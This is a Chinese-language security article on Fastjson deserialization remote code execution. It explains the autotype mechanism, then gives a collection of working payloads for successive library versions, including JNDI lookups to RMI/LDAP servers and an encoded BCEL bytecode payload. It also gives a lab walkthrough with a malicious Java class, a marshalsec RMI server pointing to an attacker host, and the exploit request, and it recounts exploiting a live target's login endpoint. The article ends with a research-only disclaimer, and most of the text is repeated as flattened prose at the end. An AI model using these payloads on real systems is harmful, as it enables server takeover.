分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集
字数 1588 2025-08-22 12:22:54

Fastjson反序列化漏洞全面解析

0x1 前言

Fastjson反序列化漏洞是Java安全领域中的一个重要漏洞类型,本文将从原理、复现、实战案例和POC收集等多个方面进行全面解析,帮助安全研究人员深入理解和利用该漏洞。

0x2 Fastjson反序列化漏洞原理及介绍

一、Fastjson概述

Fastjson是阿里巴巴的开源JSON处理库,用于Java对象与JSON之间的相互转换。主要功能包括:

  • toJSONString():序列化,将Java对象转换为JSON字符串
  • parseObject():反序列化,将JSON字符串转换为Java对象

二、漏洞原理

Fastjson的autotype机制是漏洞产生的根本原因:

  1. Fastjson通过@type标识来确定JSON数据的具体类型
  2. 攻击者可以指定任意类进行反序列化,并调用其set/get/is方法
  3. 通过精心构造的恶意类,可以实现远程代码执行

三、漏洞利用流程

  1. 攻击者构造包含恶意类的JSON数据发送给目标服务器
  2. 目标服务器反序列化时加载恶意类,向攻击者控制的RMI/LDAP服务器请求指令
  3. RMI/LDAP服务器返回恶意代码
  4. 目标服务器执行恶意代码,完成攻击

0x3 Fastjson漏洞POC收集

各版本POC汇总

1. Fastjson 1.2.24版本

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["恶意字节码"],
  "_name": "test",
  "_tfactory": {},
  "_outputProperties": {}
}
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://127.0.0.1:1234/Exploit",
  "autoCommit": true
}

2. Fastjson 1.2.25版本

{
  "@type": "[com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://127.0.0.1:1234/Exploit",
  "autoCommit": true
}

3. Fastjson 1.2.42版本

{
  "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
  "dataSourceName": "ldap://127.0.0.1:1234/Exploit",
  "autoCommit": true
}

4. Fastjson 1.2.45版本

{
  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  "properties": {
    "data_source": "ldap://127.0.0.1:1234/Exploit"
  }
}

5. Fastjson <=1.2.62/1.2.66版本

{
  "@type": "org.apache.xbean.propertyeditor.JndiConverter",
  "AsText": "rmi://127.0.0.1:1099/exploit"
}

6. Fastjson 1.2.80版本

{
  "a": {
    "@type": "java.lang.Class",
    "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
  },
  "b": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "c": {
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
      "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "
$$
BECL
$$
$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u
$$
$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
  }
}

0x4 Fastjson自动化检测插件

1. BurpFastJsonScan插件

  • 功能:自动检测请求中的JSON数据是否存在Fastjson漏洞
  • 检测范围:
    • POST内容为JSON
    • GET参数为JSON
    • POST参数为JSON
    • Cookie参数为JSON
  • 下载地址:https://github.com/pmiaowu/BurpFastJsonScan

2. FastjsonScan插件

  • 功能:简单快速的Fastjson反序列化检测
  • 推荐环境:JDK 1.8
  • 下载地址:https://github.com/Maskhe/FastjsonScan

0x5 Fastjson环境搭建+漏洞复现

环境准备

  • 靶机:Ubuntu + Docker + Vulhub
  • 攻击机:Kali Linux

复现步骤

  1. 启动靶机环境
cd /vulhub/fastjson/1.2.24-rce
docker-compose up -d
  1. 创建恶意Java类
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFrank"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
  1. 编译并启动HTTP服务
javac TouchFile.java
python -m http.server 4444
  1. 启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击机IP:4444/#TouchFile" 9999
  1. 发送恶意请求
POST / HTTP/1.1
Host: 靶机IP:8090
Content-Type: application/json
Content-Length: 165

{
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://攻击机IP:9999/TouchFile",
    "autoCommit": true
  }
}
  1. 验证攻击结果
docker exec -it 容器ID /bin/bash
ls /tmp  # 查看是否创建了successFrank文件

0x6 实战案例分享

漏洞发现过程

  1. 在目标系统注册并登录
  2. 使用BurpSuite插件扫描登录接口
  3. 确认存在Fastjson漏洞(版本<=1.2.47)

漏洞利用

  1. 使用JNDI-Injection-Exploit工具生成JNDI链接
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C '[command]ping dnslog.cn' -A 攻击机IP
  1. 构造恶意请求实现RCE

0x7 总结与参考

关键点总结

  1. Fastjson漏洞核心在于autotype机制
  2. 不同版本需要不同的POC
  3. 环境配置(特别是JDK版本)对漏洞复现至关重要

参考资源

  1. JDK1.8安装教程:https://blog.csdn.net/m0_54899775/article/details/122420533
  2. Vulhub安装教程:https://blog.csdn.net/m0_54899775/article/details/122463532
  3. JNDI-Injection-Exploit工具:https://github.com/welk1n/JNDI-Injection-Exploit
  4. Fastjson详细分析:https://xz.aliyun.com/t/14872

注意:本文仅供安全研究学习使用,未经授权进行攻击属于非法行为。

Fastjson反序列化漏洞全面解析 0x1 前言 Fastjson反序列化漏洞是Java安全领域中的一个重要漏洞类型,本文将从原理、复现、实战案例和POC收集等多个方面进行全面解析,帮助安全研究人员深入理解和利用该漏洞。 0x2 Fastjson反序列化漏洞原理及介绍 一、Fastjson概述 Fastjson是阿里巴巴的开源JSON处理库,用于Java对象与JSON之间的相互转换。主要功能包括: toJSONString() :序列化,将Java对象转换为JSON字符串 parseObject() :反序列化,将JSON字符串转换为Java对象 二、漏洞原理 Fastjson的autotype机制是漏洞产生的根本原因: Fastjson通过 @type 标识来确定JSON数据的具体类型 攻击者可以指定任意类进行反序列化,并调用其set/get/is方法 通过精心构造的恶意类,可以实现远程代码执行 三、漏洞利用流程 攻击者构造包含恶意类的JSON数据发送给目标服务器 目标服务器反序列化时加载恶意类,向攻击者控制的RMI/LDAP服务器请求指令 RMI/LDAP服务器返回恶意代码 目标服务器执行恶意代码,完成攻击 0x3 Fastjson漏洞POC收集 各版本POC汇总 1. Fastjson 1.2.24版本 2. Fastjson 1.2.25版本 3. Fastjson 1.2.42版本 4. Fastjson 1.2.45版本 5. Fastjson <=1.2.62/1.2.66版本 6. Fastjson 1.2.80版本 0x4 Fastjson自动化检测插件 1. BurpFastJsonScan插件 功能:自动检测请求中的JSON数据是否存在Fastjson漏洞 检测范围: POST内容为JSON GET参数为JSON POST参数为JSON Cookie参数为JSON 下载地址:https://github.com/pmiaowu/BurpFastJsonScan 2. FastjsonScan插件 功能:简单快速的Fastjson反序列化检测 推荐环境:JDK 1.8 下载地址:https://github.com/Maskhe/FastjsonScan 0x5 Fastjson环境搭建+漏洞复现 环境准备 靶机:Ubuntu + Docker + Vulhub 攻击机:Kali Linux 复现步骤 启动靶机环境 创建恶意Java类 编译并启动HTTP服务 启动RMI服务 发送恶意请求 验证攻击结果 0x6 实战案例分享 漏洞发现过程 在目标系统注册并登录 使用BurpSuite插件扫描登录接口 确认存在Fastjson漏洞(版本 <=1.2.47) 漏洞利用 使用JNDI-Injection-Exploit工具生成JNDI链接 构造恶意请求实现RCE 0x7 总结与参考 关键点总结 Fastjson漏洞核心在于autotype机制 不同版本需要不同的POC 环境配置(特别是JDK版本)对漏洞复现至关重要 参考资源 JDK1.8安装教程:https://blog.csdn.net/m0_ 54899775/article/details/122420533 Vulhub安装教程:https://blog.csdn.net/m0_ 54899775/article/details/122463532 JNDI-Injection-Exploit工具:https://github.com/welk1n/JNDI-Injection-Exploit Fastjson详细分析:https://xz.aliyun.com/t/14872 注意 :本文仅供安全研究学习使用,未经授权进行攻击属于非法行为。